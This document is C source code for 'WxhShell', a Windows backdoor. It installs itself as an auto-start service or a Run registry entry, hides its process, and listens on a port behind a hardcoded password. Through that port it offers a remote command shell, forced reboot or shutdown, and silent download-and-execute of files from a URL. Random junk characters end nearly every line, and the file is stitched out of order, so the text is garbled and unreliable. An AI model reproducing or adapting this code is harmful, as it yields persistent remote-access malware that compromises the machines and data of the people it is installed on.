  case 'd': { mdi!Q1pS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mF4W4~"  
    if(Boot(SHUTDOWN)) GQ2GcX(E(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1w,_D.1'  
    else { %hB-$nE  
    closesocket(wsh); &@~K8*tmK  
    ExitThread(0); M2$/x`\-~  
    } L/k35x8  
    break; L.n@;*  
    } MZgaQUg  
  // 获取shell Cbbdq%ySI  
  case 's': { ,=/9Ld2w9  
    CmdShell(wsh); _O`prX.:B0  
    closesocket(wsh); w$]G$e  
    ExitThread(0); 7 N}@zPAZ  
    break; }%g[1 #%(  
  } SN6 QX!3  
  // 退出 m&)/>'W   
  case 'x': { U/>I! 7oe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  2&6D`{"P  
    CloseIt(wsh); RdCGK?s  
    break; u>XXKlW:  
    } ,NO[Piok  
  // 离开 xP8/1wd.  
  case 'q': { `?VK(<w0q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K,4Ig!  
    closesocket(wsh); 1[P}D~ nQ  
    WSACleanup(); I4Do$&9<D  
    exit(1); R iZ)FW  
    break; LkbD='\=  
        } SSe;&Jk2d  
  } :ez76oGyc  
  } 3.Fko<D4jD  
01(U)F\  
  // 提示信息 vJE=H9E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Sjj|j  
} FB k7Cn!  
  } bTs2$81[  
N"9^A^w8k  
  return; fh#:j[R4e  
} GMU!GSY  
\8(Je"S  
// shell模块句柄 :tWk K$  
int CmdShell(SOCKET sock) [8u9q.IZ  
{ )U/Kz1U  
STARTUPINFO si; d=1\=d/K  
ZeroMemory(&si,sizeof(si)); W @"Rdc-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RHsVG &<j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FQek+[ox  
PROCESS_INFORMATION ProcessInfo; A&}]:4@{  
char cmdline[]="cmd"; h-p}Qil,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p39$V[*g(  
  return 0; RFM;?!S  
} O%%Q./oh  
UVDMYA0  
// 自身启动模式 6{I7=.V  
int StartFromService(void) IlJ"t`Z9)  
{ VjM/'V5  
typedef struct k7uX!}  
{ taDe^Ist j  
  DWORD ExitStatus; Boj R"  
  DWORD PebBaseAddress; -axKnfj  
  DWORD AffinityMask; z/#,L!Z3  
  DWORD BasePriority; p$"~v A .  
  ULONG UniqueProcessId; }a OBQsnO  
  ULONG InheritedFromUniqueProcessId; I(UK9H{0$  
}   PROCESS_BASIC_INFORMATION; cO:lpsKYQ  
uV|F 3'jT  
PROCNTQSIP NtQueryInformationProcess; j6s j2D  
>QDyG8*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H2iIBGu|L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "tT4Cb3  
ll}_EUF|  
  HANDLE             hProcess; 5VE=Oo#&  
  PROCESS_BASIC_INFORMATION pbi; RZEq@q  
!bzWgD7j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,3rsjoKhd  
  if(NULL == hInst ) return 0; '7' 73  
L@RnLaoQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >07i"a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;0Ua t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qo:Zc`t(R  
EFiVwH  
  if (!NtQueryInformationProcess) return 0; shGUG;  
4~Q<LEly  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5xT, O  
  if(!hProcess) return 0; "r`2V-E  
(]k Q9}8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZYB5s~;eB"  
*56j'FX  
  CloseHandle(hProcess); /?BTET  
Zk7!CJVM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4]}d'x&  
if(hProcess==NULL) return 0;  8\nka5  
[4EIy"  
HMODULE hMod; EqHToD I3  
char procName[255]; +dCR$<e9r  
unsigned long cbNeeded; r:rPzq1  
Li8/GoJW-T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E Id>%0s5  
f*V^HfiQb  
  CloseHandle(hProcess); 'oGMr=gp<&  
'xEomo#  
if(strstr(procName,"services")) return 1; // 以服务启动 -5os0G80  
E690'\)31  
  return 0; // 注册表启动 d:Z|It  
} cEXd#TlY~X  
>;G7ty[RX7  
// 主模块 Dd OK&  
int StartWxhshell(LPSTR lpCmdLine) W-D4" G@  
{ p]e.E`'S  
  SOCKET wsl; dtQ3iuV %  
BOOL val=TRUE; g}?39?o4  
  int port=0; xt@v"P2Ok  
  struct sockaddr_in door; 7lOAu]Zx  
D41.$t[  
  if(wscfg.ws_autoins) Install(); ko{&~   
*Qngx  
port=atoi(lpCmdLine); YY>&R'3[  
x wfdJ(&  
if(port<=0) port=wscfg.ws_port; ?<OE|nb&  
t|&hXh{  
  WSADATA data; G]-\$>5R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '*U_!RmQ  
()Img.TIt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ) [)1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ju.`c->k"  
  door.sin_family = AF_INET; 2_6@&2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qe uc^+P;  
  door.sin_port = htons(port); @q|c|X:I  
Pr/q?qZY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HT_nxe`E  
closesocket(wsl); W Emh  
return 1; >)`*:_{  
} 43`Atw`\  
e{Mkwi+j  
  if(listen(wsl,2) == INVALID_SOCKET) { gE23C*!'&:  
closesocket(wsl); <UW-fI)X  
return 1; ?;rRR48T9E  
} uY&t9L8  
  Wxhshell(wsl); %zjyZ{=  
  WSACleanup(); -9 |)O:  
Tn'o$J  
return 0; 9KL)5_6 M  
[xDn=)`{V  
} LD;! s  
m.yt?`  
// 以NT服务方式启动 u~'j?K.^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cS",Bw\  
{ dY?>:ce  
DWORD   status = 0; [WR*u\FF  
  DWORD   specificError = 0xfffffff; qwuA[QkPi  
wem hP8!gc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K &G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _10I0Z0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iT~ gt/K  
  serviceStatus.dwWin32ExitCode     = 0; aslb^  
  serviceStatus.dwServiceSpecificExitCode = 0; *)T7DN8  
  serviceStatus.dwCheckPoint       = 0; *kNXju  
  serviceStatus.dwWaitHint       = 0; Q/l388'  
fTI~wF8!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )4FW~o<i  
  if (hServiceStatusHandle==0) return; n?NUnFA  
KhNE_. Z  
status = GetLastError(); fp$U%uj  
  if (status!=NO_ERROR) qc/)l~]?g{  
{ ]2mfby  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jGn2Q L  
    serviceStatus.dwCheckPoint       = 0; ^}Gu'!z9D  
    serviceStatus.dwWaitHint       = 0; ]L!:/k,=S  
    serviceStatus.dwWin32ExitCode     = status; (+9^)No  
    serviceStatus.dwServiceSpecificExitCode = specificError; MJcWX|(y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u/HNXJ7M`9  
    return; u:}yE^8@  
  } cx+%lco!  
26-K:"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5J*h7  
  serviceStatus.dwCheckPoint       = 0; 8^qLGUxz  
  serviceStatus.dwWaitHint       = 0; wN$u^]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;TCT%j`^o  
} I*= =I4qx  
g$9s} \6B  
// 处理NT服务事件,比如:启动、停止 ds'7zxy/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <w0$0ku  
{ MMyJAGh ^G  
switch(fdwControl) 71k >_'fl  
{ a>)|SfsE  
case SERVICE_CONTROL_STOP: `>\>'V<&  
  serviceStatus.dwWin32ExitCode = 0; &&|c-mD+*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a*{ -r]  
  serviceStatus.dwCheckPoint   = 0; {GQRJ8m  
  serviceStatus.dwWaitHint     = 0; w7Vl,pN,  
  { Jrw R:_+|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~d&W;mef-  
  }  uzaD K  
  return; +IbQVU~/  
case SERVICE_CONTROL_PAUSE: s)V<dm;T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q,2 +\i  
  break; \t%rIr  
case SERVICE_CONTROL_CONTINUE: kPF qsq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nrRP1`!]T  
  break; c>yqq'  
case SERVICE_CONTROL_INTERROGATE: Huho|6ohH  
  break; rI;tMNs  
}; 'mE!,KeS;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tF~D!t@  
}  ^#&:-4/  
l5CFm8%  
// 标准应用程序主函数 (z.eXoP@>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^U]B&+m  
{ ?bH!|aW(H  
q# t&\M.U  
// 获取操作系统版本 v0'`K 5M  
OsIsNt=GetOsVer(); +|TFxaVz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h5VZ-v_j  
~)IiF.I b  
  // 从命令行安装 }J|Pd3Q Sf  
  if(strpbrk(lpCmdLine,"iI")) Install(); qfl#ki`,  
b[`fQv$G  
  // 下载执行文件 YuKg|<WO  
if(wscfg.ws_downexe) { $ {5|{`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8$V:+u  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mib<1ZM  
} ~mK|~x01@  
TjLW<D(i>  
if(!OsIsNt) { \9T /%[r#  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Ae43  
HideProc(); 6z ,nt  
StartWxhshell(lpCmdLine); t p<wMrq<  
} *^Xtorqo  
else B"=w9w]  
  if(StartFromService()) Gsa~zGN  
  // 以服务方式启动 )HJ#|JpxC  
  StartServiceCtrlDispatcher(DispatchTable); 0mi$_Ld+  
else x4%1P w  
  // 普通方式启动 ?Oyps7hXx  
  StartWxhshell(lpCmdLine); P1IL ]  
RSK5 }2  
return 0; w  
} II) K0<  
g vu1  
u;3wg`e  
r0(*]K:.  
=========================================== 6&s" "J)3  
ds;c\x  
^< wn  
W}aCU~  
A8U\/GP  
Zj5B}[,l\  
" -cP7`.a  
()o[(Hx+ph  
#include <stdio.h> $i]G'fj  
#include <string.h> `|WEzW~  
#include <windows.h> dBNx2T}_0  
#include <winsock2.h> 28x:]5=jb  
#include <winsvc.h> Z )'gj  
#include <urlmon.h> l _gJC.  
8Ai\T_l  
#pragma comment (lib, "Ws2_32.lib") 6'45c1e   
#pragma comment (lib, "urlmon.lib") 0AD8X+M{P  
%:e.ES  
#define MAX_USER   100 // 最大客户端连接数  KGJ *h  
#define BUF_SOCK   200 // sock buffer (C.<H6]=  
#define KEY_BUFF   255 // 输入 buffer CWa~~h<r-  
DVz_;m6)  
#define REBOOT     0   // 重启 9>9,   
#define SHUTDOWN   1   // 关机 4~ i?xo=;v  
hI 1or4V  
#define DEF_PORT   5000 // 监听端口 XJ e}^k  
L%;[tu(*  
#define REG_LEN     16   // 注册表键长度 UU*v5&  
#define SVC_LEN     80   // NT服务名长度 ,#U[)}im  
bYBEh n  
// 从dll定义API "/nbcQ*s*E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |Pi! UZB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); / }Pj^^6A<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eI,H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M@+Pq/f:  
53WCF[  
// wxhshell配置信息 +E-CsNAZ*"  
struct WSCFG { qP BOt;N  
  int ws_port;         // 监听端口 6/6{69tnr  
  char ws_passstr[REG_LEN]; // 口令 "p]!="\  
  int ws_autoins;       // 安装标记, 1=yes 0=no j]C}S*`"  
  char ws_regname[REG_LEN]; // 注册表键名 9DdR"r'7  
  char ws_svcname[REG_LEN]; // 服务名 otX/sg.B*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `j8pgnY>5~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }0,dG4Oo=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3~1Gts  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mDx=n.lIz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1gQ_76Yck  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HD'adj_,  
9oYE  
}; 6 5g ovor  
qf? "v;  
// default Wxhshell configuration FZi@h  
struct WSCFG wscfg={DEF_PORT, @:>"VP<(  
    "xuhuanlingzhe", CWdsOS=  
    1, )3h\QE!z  
    "Wxhshell",  *&_*G~>D  
    "Wxhshell", tsb[=W!Ar8  
            "WxhShell Service", Rc1j^S;>  
    "Wrsky Windows CmdShell Service", c -+NWC  
    "Please Input Your Password: ", QH'*MY  
  1, fL*7u\m:  
  "http://www.wrsky.com/wxhshell.exe", AB3_|Tza~&  
  "Wxhshell.exe" & zDuh[j}  
    }; 2zC4nF)>O  
Qq,2V  
// 消息定义模块 6GxLaI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5JzvT JMx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q#g`D,:o%~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6 >kULp  
char *msg_ws_ext="\n\rExit."; )iN;1>  
char *msg_ws_end="\n\rQuit."; P $`1}  
char *msg_ws_boot="\n\rReboot..."; !l[;,l   
char *msg_ws_poff="\n\rShutdown..."; &=@{`2&  
char *msg_ws_down="\n\rSave to "; e9LX0=  
x9l7|G/$  
char *msg_ws_err="\n\rErr!"; 7#LIGr  
char *msg_ws_ok="\n\rOK!"; 5 ^{~xOM5  
t'44X  
char ExeFile[MAX_PATH]; U)(R4Y6 v  
int nUser = 0; Fd9[Pe@?`  
HANDLE handles[MAX_USER]; _(m72o0g>>  
int OsIsNt; !5*VBE\  
? }HK!feU  
SERVICE_STATUS       serviceStatus; kvbZx{s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :;%Jm  
PxKBcx4o`  
// 函数声明 owNwj  
int Install(void); lSX1|,B7:]  
int Uninstall(void); Z ]A |"6<  
int DownloadFile(char *sURL, SOCKET wsh); 3BM z{ny=  
int Boot(int flag); 3fOOT7!FL  
void HideProc(void); yY$^ R|t  
int GetOsVer(void); Y:\msq1xp  
int Wxhshell(SOCKET wsl); *V&M5  
void TalkWithClient(void *cs); +5y^c |L0  
int CmdShell(SOCKET sock); ZF7@b/-me  
int StartFromService(void); IyO 0~Vx>  
int StartWxhshell(LPSTR lpCmdLine); )\+Imn  
!U`4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?N{\qF1Mz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r5j$FwY  
vobC/m  
// 数据结构和表定义 v`4w=!4  
SERVICE_TABLE_ENTRY DispatchTable[] = @<W` w  
{ e:G~P u`  
{wscfg.ws_svcname, NTServiceMain}, 24wDnDyh  
{NULL, NULL} &4%pPL\f  
}; !oz{XWE  
'o&d!  
// 自我安装 - (s0f  
int Install(void) nlv,j&  
{ $ #=d@Nw_  
  char svExeFile[MAX_PATH]; g9C ; JmU  
  HKEY key; czRBuo+k+  
  strcpy(svExeFile,ExeFile); INnd TF  
19fa7E<  
// 如果是win9x系统,修改注册表设为自启动 {\>4)TA  
if(!OsIsNt) { k8 #8)d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q^[t</_ N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uyX % &r  
  RegCloseKey(key); a8xvK;`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }8#olZ/(q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |lhnCShw  
  RegCloseKey(key); &YIL As^8A  
  return 0; c|<F8 n  
    } f`4=Bl&"{  
  } ->ZP.7  
} 4Uny.C]  
else { L;:|bVH  
vU%o5y:  
// 如果是NT以上系统,安装为系统服务 Mnranhe>G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 45biy(qa  
if (schSCManager!=0) -aT-<+?s  
{ H:~bWd'iz  
  SC_HANDLE schService = CreateService J@>|`9T9$  
  ( #JYl%=#,  
  schSCManager, _sy{rnaqvb  
  wscfg.ws_svcname, :uYZ1O  
  wscfg.ws_svcdisp, NFVu~t  
  SERVICE_ALL_ACCESS, -gGw_w?)(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]O;*Y{:Y  
  SERVICE_AUTO_START, bofI0f}5.  
  SERVICE_ERROR_NORMAL, 23CvfP  
  svExeFile, ,?LE5]  
  NULL, .7.1JT#@A7  
  NULL, B-g uz  
  NULL, j~_iv~[  
  NULL, ^m7y=CJM  
  NULL n]6 '!Eo  
  ); W$]qo|2P  
  if (schService!=0) 09 McUR@  
  { @Yt394gA%\  
  CloseServiceHandle(schService); q=^;lWs4  
  CloseServiceHandle(schSCManager); +8<$vzB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #;99vwc  
  strcat(svExeFile,wscfg.ws_svcname); O+&;,R:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { = V')}f~C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <e! TF @  
  RegCloseKey(key); *& w/*h$!  
  return 0; 6,4vs+(|\  
    } ]ovtH .y  
  } C'@I!m._i  
  CloseServiceHandle(schSCManager); 0J?443A Y  
} Yv=L'0K&  
} }bi hlyB&Q  
Lp%J:ogV`  
return 1; =zH)R0!eG  
} "~ =O`5V  
~;6^n  
// 自我卸载 O-.G("  
int Uninstall(void) oM1C/=8   
{ #[i3cn  
  HKEY key; }!xc@  
6  _V1s1F  
if(!OsIsNt) { #e=E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p+ReQ.5|  
  RegDeleteValue(key,wscfg.ws_regname); k@9hth2Q  
  RegCloseKey(key); >'#vC]@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AaU!a  
  RegDeleteValue(key,wscfg.ws_regname); o5Rv xGN  
  RegCloseKey(key); A;X3z-[[  
  return 0; 3u t<o-  
  } V(;T{HW&  
} qOmL\'8  
} [g`4$_9S  
else { mb`h  
]2ab~ gr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f/z]kfgw  
if (schSCManager!=0) ^[R/W VNk  
{ o+{7"Na8[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _s<BXj  
  if (schService!=0) >bI\pJ  
  { t%,:L.?J#  
  if(DeleteService(schService)!=0) { D'%M#S0   
  CloseServiceHandle(schService); 1}Guhayy  
  CloseServiceHandle(schSCManager); J@i9)D_  
  return 0; zXUB6. e  
  } C \5yo  
  CloseServiceHandle(schService); g0QYBrp  
  } `c ^ ">L  
  CloseServiceHandle(schSCManager); vo:h"ti  
} KbciRRf!k  
} Ll%}nti  
H}&JrT95  
return 1; ZmkH55Cn  
} !K2QD[x  
(i\{hq/  
// 从指定url下载文件 dEI!r1~n  
int DownloadFile(char *sURL, SOCKET wsh) ,y-!h@(  
{ gw">xt5  
  HRESULT hr; RH7!3ye  
char seps[]= "/"; jUZ$vyT  
char *token; ![4_K':=  
char *file; `WMU'ezF  
char myURL[MAX_PATH]; 5zZQt +Ip  
char myFILE[MAX_PATH]; oO7)7$|1  
*2.h*y'u  
strcpy(myURL,sURL); u^Ktz DmL  
  token=strtok(myURL,seps); }G^'y8U  
  while(token!=NULL) XL;WU8>  
  { AuM}L&`i^  
    file=token; 0"GLgj:9  
  token=strtok(NULL,seps); y,OG9iD:h  
  } xh#pw2v7V  
&Cm]*$?  
GetCurrentDirectory(MAX_PATH,myFILE); R?#=^$7U  
strcat(myFILE, "\\"); )_>'D4l ?  
strcat(myFILE, file); I\M }Dxpp  
  send(wsh,myFILE,strlen(myFILE),0); Q.3:"dT  
send(wsh,"...",3,0); OwNo$b]h`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2 p}I  
  if(hr==S_OK) O0_RW`69  
return 0; ,_<|e\>~  
else 'R- g:X\{  
return 1; +M#}(hK  
1D!MXYgm1b  
} !&.-{ _$  
jS8B:>  
// 系统电源模块 W1LR ,:$  
int Boot(int flag) DvLwX1(l  
{ O'@[ f{  
  HANDLE hToken; gLFTnMO  
  TOKEN_PRIVILEGES tkp; QctzIC#;k  
z;/8R7L&  
  if(OsIsNt) { j/NX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D#`>p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \P"Ol\@  
    tkp.PrivilegeCount = 1; ;n|%W,b-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BG.sHI{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^ uwth  
if(flag==REBOOT) { u]`0QxvZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \~Ml<3Zd:  
  return 0; a({N}ZDo  
} ,!PV0(F(  
else { to1r 88X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bR:hu}YS  
  return 0; P*U^,Jh<  
} Oz&*A/si+3  
  } JBZ1DZAWC  
  else { BnDCK@+|Q  
if(flag==REBOOT) { :>_oOn[_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l]Ym)QP  
  return 0; D,lY_6=  
} }s6Veosl  
else { T2tvU*[=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,q7FK z{  
  return 0; vfXNN F  
} =w"Kkj>%oh  
} I36%oA  
J6>tGKa+e  
return 1; Ho[]03  
} cq3Z}Cp  
_Y}cK| 3  
// win9x进程隐藏模块 \IudS{ .?;  
void HideProc(void) qHo H h  
{ bu $u@:q 6  
J~oxqw}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z5*(xony0  
  if ( hKernel != NULL ) x ju*zmu  
  { DnG9bVm>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W2zG"Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D`'Cnt/  
    FreeLibrary(hKernel); '=\>n(%Q  
  } n\<7`,  
~Cg7  
return; >Bdh`Ot-!  
} /`nkz  
5ug|crX  
// 获取操作系统版本 Dsc0 ;7~6  
int GetOsVer(void) 8t) g fSG  
{ ZJF+./vN  
  OSVERSIONINFO winfo; h+&iWb3;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vW!O("\7K<  
  GetVersionEx(&winfo); YK$[)x\S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _Ex<VF u  
  return 1; PlK3;  
  else /lPnf7  
  return 0; ka ;=%*7T  
} mh`uvqY  
B.;@i;7L  
// 客户端句柄模块 k'PvQl"I  
int Wxhshell(SOCKET wsl) UIg?3J}R  
{ v0=v1G*rvJ  
  SOCKET wsh; .XRe:\8mc  
  struct sockaddr_in client; pzUr9  
  DWORD myID; 7#oq|5  
G51-CLM,  
  while(nUser<MAX_USER) h(J$-SUs  
{ *PB/I4>{  
  int nSize=sizeof(client); 9V&+xbR&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kdx06'4o  
  if(wsh==INVALID_SOCKET) return 1; *A8Et5HAv  
#CAZ}];Qx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .a(G=fk  
if(handles[nUser]==0) b`j9}t Z  
  closesocket(wsh); 5[r}'08b  
else ,O:p`"3`0=  
  nUser++; =h +SZXe<r  
  } WS(m#WFQr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tX@y ]"  
e6tU8`z  
  return 0; m .(\u?J  
} A-_M=\  
S1@r.z2L  
// 关闭 socket U:eX^LE7  
void CloseIt(SOCKET wsh) &y|PseH"  
{ I@O9bxR?  
closesocket(wsh); P$N5j~*  
nUser--; zSk`Ou8M  
ExitThread(0); Eyk:pnKJb  
} ,_w}\'?L  
-)Vy)hD,  
// 客户端请求句柄 y;4g>ma0  
void TalkWithClient(void *cs) 2J$vX(  
{ V?) V2>]  
nhC8Tq[m  
  SOCKET wsh=(SOCKET)cs; ePIN<F;I  
  char pwd[SVC_LEN]; #Cy3x-!  
  char cmd[KEY_BUFF]; ?$tD  
char chr[1]; p1i}fGS  
int i,j; c9Cc%EK  
1q5S"=+W[  
  while (nUser < MAX_USER) { Uam %u  
(JnEso-V  
if(wscfg.ws_passstr) { P O0Od z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F1B/cd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^-n^IR}J  
  //ZeroMemory(pwd,KEY_BUFF); _5(p=Zc  
      i=0; x5pu+-h  
  while(i<SVC_LEN) { yM9>)SE5`  
<gH-`3 J6  
  // 设置超时 )\2KDXc  
  fd_set FdRead; -b8SaLak  
  struct timeval TimeOut; n_LK8  
  FD_ZERO(&FdRead); /-^J0f+l3  
  FD_SET(wsh,&FdRead); 'W54 T  
  TimeOut.tv_sec=8; _LfbEv<,T  
  TimeOut.tv_usec=0; !Y7$cU &  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Icznou\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tQUKw@@Q  
;pOV; q3j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L\c3D|  
  pwd=chr[0]; n&|N=zh  
  if(chr[0]==0xd || chr[0]==0xa) { 9kqR-T|Q  
  pwd=0; QkD]9#Id&  
  break; \pTC[Ry1  
  } v''J@F7  
  i++; 9xw"NcL  
    } fi~@J`  
r)Zk-!1  
  // 如果是非法用户,关闭 socket A:z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L2}<2  
} &sBD0R(a  
kX}sDvP3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8@S]P0lk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =-GxJ PL  
ZHeq)5C ;f  
while(1) { F9% +7Op^  
'|5o(6u'  
  ZeroMemory(cmd,KEY_BUFF); !Yn#3c  
J9j @V4  
      // 自动支持客户端 telnet标准   /iQh'rp  
  j=0; #;@I.  
  while(j<KEY_BUFF) { kv+^U^WoU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Kr>93O  
  cmd[j]=chr[0]; 3$5E1*ed  
  if(chr[0]==0xa || chr[0]==0xd) { ?vI2mr a+  
  cmd[j]=0; [cznhIvyO  
  break; {TJBB/B1  
  } %VR{<{3f  
  j++; ~[og\QZX  
    } /4;A.r`;  
1x\k:2U  
  // 下载文件 (RG "2I3  
  if(strstr(cmd,"http://")) { l;R8"L:,p\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \)>#`X  
  if(DownloadFile(cmd,wsh)) 9b,0_IMHH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5=<KA   
  else  6Bcr.`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1ZYo-a;)  
  } wpi$-i`  
  else { GXQ%lQ  
